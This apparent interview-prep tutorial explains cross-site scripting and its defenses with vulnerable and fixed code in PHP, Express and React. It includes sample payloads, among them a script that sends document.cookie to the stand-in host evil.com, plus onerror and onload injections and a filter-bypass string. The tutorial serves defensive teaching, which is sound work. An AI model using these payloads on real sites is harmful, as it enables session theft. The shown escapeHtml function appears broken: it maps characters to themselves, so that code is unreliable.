What is XSS and how to prevent it?
XSS (Cross-Site Scripting) is a web vulnerability where an attacker injects malicious scripts into a page you trust, and your browser runs them.
Theory
TL;DR
- XSS is like slipping a forged note into your bank's system: the browser (teller) treats it as legitimate and executes it
- Three types: Stored (script saved to DB, hits every viewer), Reflected (script bounced back via URL once), DOM-based (client-side JS writes attacker input directly to the page)
- The browser has no way to tell which scripts you wrote and which ones got injected
- Fix: escape at output (not input), sanitize HTML, add a CSP header
- React auto-escapes JSX, but
dangerouslySetInnerHTMLskips that protection entirely
Quick example
<!-- Vulnerable PHP search page -->
<h1>Results for: <?php echo $_GET['q']; ?></h1>
<!-- Attack URL -->
page.php?q=<script>alert(document.cookie)</script>
<!-- Browser sees it as real HTML and executes the script -->One unescaped echo and the browser runs whatever the URL says. That is the whole attack.
Three types of XSS
Stored XSS saves the payload to your database. A comment containing <script>fetch('https://evil.com?c='+document.cookie)</script> fires for every user who loads that page. One injection, unlimited victims.
Reflected XSS works through a URL. The server reads ?q=<script>... and writes it straight into the HTML response. It fires once per click on the crafted link.
DOM-based XSS never touches the server. Client-side JS reads from location.hash or location.search and writes to innerHTML. The server sends a perfectly clean response, and the browser attacks itself.
// DOM-based: the server never sees the payload
const query = new URLSearchParams(window.location.hash.slice(1)).get('q');
document.getElementById('result').innerHTML = query;
// URL: #q=<img src=x onerror=alert(1)> → executesWhy the browser executes injected scripts
Browsers parse HTML through an engine (Blink in Chrome, Gecko in Firefox). When the parser hits a <script> tag or an event attribute like onerror, it hands that to the JS engine (V8 in Chrome) for execution. The engine does not check origin at this stage. It runs whatever the parser gives it.
Same-origin policy controls what scripts can request, not what they can execute. So an injected script runs with full access to document.cookie, localStorage, and the DOM, all within the trusted origin.
When to apply which defense
- Rendering user content as plain text: use
textContentinstead ofinnerHTML, or a template engine that auto-escapes - Rendering user-supplied HTML (rich text, Markdown): sanitize with DOMPurify before inserting
- URL parameters reflected into HTML: HTML-encode the output, not just the input
- Inline scripts (analytics, A/B tests): use CSP with nonces, not
unsafe-inline - Cookies with session data: set
HttpOnly: trueso injected scripts cannot read them
One rule covers most cases: escape at the point of output, not the point of input.
How output escaping works
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// Safe Express route
app.get('/search', (req, res) => {
const q = escapeHtml(req.query.q ?? '');
res.send(`<h1>Results for: ${q}</h1>`);
// <script> becomes <script> — browser shows text, never executes
});Common mistakes
Escaping on input, not output. Saving escape(userInput) to the database and then rendering with <%= raw(post.comment) %>. The DB escape does not equal HTML escaping. Attackers submit <script>, which decodes back to <script> on output. Fix: escape at render time, every time.
// Wrong
db.save({ comment: sanitize(raw) }); // ...then later...
res.send(`<p>${post.comment}</p>`); // Trusts the DB
// Right
res.send(`<p>${escapeHtml(post.comment)}</p>`); // Escape at outputWhitelisting tags but not attributes. Allowing <b> while leaving onmouseover intact. The result: <b onmouseover=alert(1)>hi</b> executes. A real sanitizer like DOMPurify handles attributes, not just tag names.
// Wrong: naive tag filter
const safe = html.replace(/<script>/gi, '');
// <scr<script>ipt> bypasses this instantly
// Right
import DOMPurify from 'dompurify';
const safe = DOMPurify.sanitize(html); // Strips dangerous attributes tooCSP with unsafe-inline. Setting script-src 'self' 'unsafe-inline' defeats the whole point. OWASP data puts around 40% of CSP headers misconfigured this way. Use nonces or hashes for any inline script you actually need.
// Wrong
"script-src 'self' 'unsafe-inline'"
// Right: fresh nonce per request
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'`);
// Then in your template: <script nonce="${nonce}">...dangerouslySetInnerHTML in React without sanitization. React escapes JSX by default. The moment you use dangerouslySetInnerHTML, that protection is gone. I have seen this in Next.js Markdown renderers that pull raw HTML from a CMS and pass it straight into the prop.
// Vulnerable
function Post({ content }) {
return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
// Fixed
import DOMPurify from 'dompurify';
function Post({ content }) {
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(content) }} />;
}Real-world usage
- Express + Helmet:
app.use(helmet())sets a strict CSP and other security headers in one line - React: JSX auto-escapes, so
{userInput}is safe; onlydangerouslySetInnerHTMLneeds attention - Angular:
DomSanitizersanitizes by default;bypassSecurityTrustHtml()disables it and needs a code review comment explaining why - PHP Laravel: Blade's
{{ $var }}auto-escapes;{!! $var !!}does not; treat the double-bang as a red flag in code review - GitHub and Twitter: enforce
script-src 'nonce-...'in production; nounsafe-inlineanywhere
Follow-up questions
Q: Name the three types of XSS with one example each.
A: Stored: a comment with <script> saved to DB and executed for all visitors. Reflected: ?q=<script> echoed back in the search results HTML. DOM-based: location.hash written directly to innerHTML on the client.
Q: What is the difference between innerHTML and textContent?
A: innerHTML parses the string as HTML and executes event handlers and scripts. textContent inserts the string as plain text, no parsing at all. Use textContent whenever you do not need HTML structure.
Q: How does CSP reduce XSS risk?
A: CSP tells the browser which script sources are approved. If an attacker injects a <script> tag, the browser blocks it because the source is not on the list. Nonces like 'nonce-abc123' allow specific inline scripts while blocking everything else.
Q: Can a sanitizer miss anything?
A: Yes. Sanitizers work against known attack patterns. Polyglot payloads like javascript:/*</textarea><script>alert(1)</script> can work across multiple contexts (URL, HTML, JS attribute) and may slip through a custom filter. DOMPurify is updated regularly against new bypasses. A hand-rolled tag whitelist is almost always incomplete.
Q (Senior): Explain CSP frame-ancestors vs sandbox.
A: frame-ancestors controls which origins can embed your page in an iframe, which blocks clickjacking attacks. sandbox applies restrictions to an iframe loading untrusted content: no scripts, no popups, no form submission unless explicitly allowed. They solve different problems: one protects your page from being framed, the other constrains what a framed page can do.
Examples
Stored XSS in Express
const express = require('express');
const DOMPurify = require('isomorphic-dompurify');
const app = express();
// Vulnerable version
app.post('/comment', (req, res) => {
db.save({ comment: req.body.comment }); // Saves <script>steal()</script> as-is
});
app.get('/comments', (req, res) => {
const rows = db.getAll();
// Every visitor's browser executes the stored script
res.send(rows.map(r => `<p>${r.comment}</p>`).join(''));
});
// Fixed version
app.post('/comment', (req, res) => {
const clean = DOMPurify.sanitize(req.body.comment); // Strip on save
db.save({ comment: clean });
});
app.get('/comments', (req, res) => {
const rows = db.getAll();
res.send(rows.map(r => `<p>${escapeHtml(r.comment)}</p>`).join(''));
// Double layer: sanitize on save, escape on render
});Sanitizing on save AND escaping on render is not redundancy. If one layer fails, the other catches it.
DOM-based XSS in React
// Vulnerable: reads URL hash, writes raw HTML
function Search() {
const query = new URLSearchParams(window.location.hash.slice(1)).get('q');
return <div dangerouslySetInnerHTML={{ __html: query }} />;
// URL: #q=<svg onload=alert(1)> → React renders SVG → onload fires
}
// Fixed
import DOMPurify from 'dompurify';
function Search() {
const query = new URLSearchParams(window.location.hash.slice(1)).get('q');
// Option 1: sanitize and allow HTML markup
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(query) }} />;
// Option 2: treat as plain text — preferred when HTML structure is not needed
// return <div>{query}</div>;
}Complete Express defense stack
const express = require('express');
const helmet = require('helmet');
const crypto = require('crypto');
const DOMPurify = require('isomorphic-dompurify');
const app = express();
app.use(express.json());
// Helmet sets X-XSS-Protection, X-Content-Type-Options, and a base CSP
app.use(helmet());
// Generate a fresh nonce for inline scripts on every request
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64');
res.setHeader(
'Content-Security-Policy',
`default-src 'self'; script-src 'self' 'nonce-${res.locals.nonce}'; style-src 'self'`
);
next();
});
// HttpOnly cookie so injected scripts cannot read the session token
app.post('/login', (req, res) => {
res.cookie('session', generateSessionId(), {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
res.json({ ok: true });
});
// Validate length and type, then sanitize before saving
app.post('/api/comment', (req, res) => {
const raw = req.body.comment;
if (!raw || typeof raw !== 'string' || raw.length > 2000) {
return res.status(400).json({ error: 'Invalid input' });
}
const clean = DOMPurify.sanitize(raw);
db.save({ comment: clean });
res.json({ ok: true });
});Three layers working together: CSP blocks execution at the browser level, DOMPurify strips dangerous markup before saving, and HttpOnly limits cookie access even if something slips through.
Short Answer
Interview readyA concise answer to help you respond confidently on this topic during an interview.